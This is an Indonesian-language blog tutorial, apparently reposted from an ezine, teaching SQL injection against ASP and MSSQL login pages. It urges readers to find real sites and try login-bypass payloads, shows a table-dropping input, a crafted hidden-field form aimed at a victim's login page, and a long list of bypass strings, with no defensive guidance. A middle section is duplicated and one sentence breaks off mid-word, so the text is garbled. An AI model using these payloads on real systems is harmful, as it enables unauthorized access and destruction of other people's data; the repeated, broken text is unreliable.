Sebelum membahas perihal Bagaimana sql injection itu pertama-tama saya akan membuktikan apa itu sql injection dan kenapa hal itu sanggup terjadi.
Sebenernya SQL injection terjadi dikala attacker sanggup meng insertkan beberapa SQL statement ke 'query' dengan cara manipulasi data input ke applikasi tersebut.
Diantara DB format menyerupai PHP + MySQL dan ASP + MSACCESS atau dengan MySql ,
disini saya cuma akan membahas perihal ASP+MsSql yang sudah dicoba pada IIS 5 dan beberapa sql injection pada url.
Biasanya Sql Injection dilakukan pada login page pada asp menyerupai di :
admin\login.asp
login.asp
Kaprikornus yang akan menjadi sasaran yakni page tersebut ,
kini kita mulai saja dengan dasar-dasar sql injection.
Biasanya di sql statment:
select id, user_name, password from user
maksudnya perintah diatas menghasilkan data id,user_name dan password pada table user.
Biasanya pada login page dengan mengunakan statment result setnya sebagai berikut :
select id, user_name,password from user where name = 'echo' and password='password'
Pada IIS dan ASP apabila terdapat kesalahan syntax script akan diberi tau dan ditampilkan di browser
Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'jopi' SQL atau "Structured Query Language"
seharusnya tidak menyentuh system calls. Tetapi tidak dengan MSSQL.
Nah,Tidak tahu kenapa huruf single quote 'breaks out' dari delimiter nya SQL Jadi bila misal ada inputan
User: echo';drop table user--
dan akhirnya akan fatal , dan artinya yakni kita menghapus table user dan akan kosong deh tuh loginnya.
oh iya ini merukapan mark nya MSSQL, jadi perintah selanjutnya tidak di execute.
Sekarang untuk lebih jelasnya kita secara pribadi pada login script seperti
input login + password. Nama field nya 'login' dan 'pass'. dan
SQL nya di asp: var sql = select * from users where username='"+login+"' and password='"+pass"'";
coba bila ada inputan: login: ';drop table users-- pass: chfn (*wink* negative)
niscaya ke droplah tuh table usersnya.
Aduh dari pada pusing ya , gini deh cara gampangnya yakni kita lupakan saja yang diatas.kita pribadi praktek saja:
Coba carilah disitus-situs yang memakai asp dan MsSql sebagai DB nya, kemudian cari login.asp atau
admin\login.asp.
Kalau sudah sanggup masukkan nih variable sql nya
user:admin
pass:' or 1=1--
Ingat kita disini hanya coba-coba kali aja dba nya tidak terlalu pinter.
atau :
user:' or 1=1--
admin:' or 1=1--
Mas , tidak sanggup nih gimana ya ?
Inget kini rata-rata para admin pada pinter semua , kita cari yang simpel saja deh untuk tes bila ga, kau sanggup buat sendiri script dan tes sebab gw sudah coba buat sendiri dan berhasil tanpa melaksanakan paket filter pada db nya .Untuk test apakah suatu page memiliki vulnerable,begini caranya :
Kalian pernah melihat pada halaman-halaman ASP,JSP,PHP dan CGI yang didalam addressnya :
http://vivtim/index.asp?id=10
Selain kita test dengan login page diatas tadi , kita test dalam melaksanakan sedikit tambahan
pada addressnya menyerupai memasukan : test'1=1--
menjadi http://victim/index.asp?id=test'1=1--
Kita juga sanggup juga melaksanakan xss dengan sql injection ini , coba download source HTML dari page target
kemudian kita tamhankan hidden field pada source tersebut sebagai pola :
<FORM action=http://victim/admin/login.asp method=post>
<input type=hidden name=A value="test' or 1=1--">
</FORM>
Apabila be
Ingat kita disini hanya coba-coba kali aja dba nya tidak terlalu pinter.
atau :
user:' or 1=1--
admin:' or 1=1--
Mas , tidak sanggup nih gimana ya ?
Inget kini rata-rata para admin pada pinter semua , kita cari yang simpel saja deh untuk tes bila ga, kau sanggup buat sendiri script dan tes sebab gw sudah coba buat sendiri dan berhasil tanpa melaksanakan paket filter pada db nya .Untuk test apakah suatu page memiliki vulnerable,begini caranya :
Kalian pernah melihat pada halaman-halaman ASP,JSP,PHP dan CGI yang didalam addressnya :
http://vivtim/index.asp?id=10
Selain kita test dengan login page diatas tadi , kita test dalam melaksanakan sedikit tambahan
pada addressnya menyerupai memasukan : test'1=1--
menjadi http://victim/index.asp?id=test'1=1--
Kita juga sanggup juga melaksanakan xss dengan sql injection ini , coba download source HTML dari page target
kemudian kita tamhankan hidden field pada source tersebut sebagai pola :
<FORM action=http://victim/admin/login.asp method=post>
<input type=hidden name=A value="test' or 1=1--">
</FORM>
Apabila beruntung kita apabila membuka page tersebut tidak perlu memasukan password dan username.
ingat script ini ditambahkan pada script yang sudah kalian download dari sasaran .
Variable ' or 1=1--
Mungkin ada yang bertanya-tanya kenapa mengunakan variable 'or 1=1-- dan sangat penting.Lihat pola pada sebuah web tertulis http://victim/index.asp?category=laptop
Dalam url tesebut category yakni variable name dan komputer yakni masukan untuk variable name tersebut.
Kalau ditulis dalam script ASP maka akan menjadi :
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
Data yang kita masukan menyerupai komputer akan masuk ke dalam v_cat variable dan pada sql statment menjadi
SELECT * FROM product WHERE PCategory='laptop'
kemudian apa hub dengan 'or 1=1---
coba bila kita ganti http://victim/index.asp?category=laptop menjadi
http://victim/index.asp?category=laptop'or 1=1--
Kita lihat varible v_cat kini menjadi laptop'or 1=1-- kemudian dalam SQL query nya menjadi
SELECT * FROM product WHERE PCategory='laptop' or 1=1--'
artinya v_cat mendapat masukan berupa varibale laptop atau var 1=1(kosong) yang menyebabkan
Sql Server menjadi resah dan akan mengeksekusi Select * pada table tersebut yang mengakibatkan
kita sanggup masuk kedalam db teserbut dan db tersebut tidak berfungsi. Lalu tanda -- merupakan
mark dari sql untuk ignore semua perintah. Bisa dibayangkan bila terjadi pada login page
Kita sanggup masuk kedalam login page tanpa password dan user name.
Kemungkinan-kemungkinan variable lainya :
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
Selain masuk kedalam page tersebut kita juga sanggup memanfaatkannya untuk remote execution dengan sql Injection
dan untuk artikel akan dimasukan dalam ezine 3 echo.or.id .Semoga artikel ini bermanfaat.
Pengunjung yang baik meninggalkan komentar dan share article ini.
Sumber http://tutorial-cmd.blogspot.com/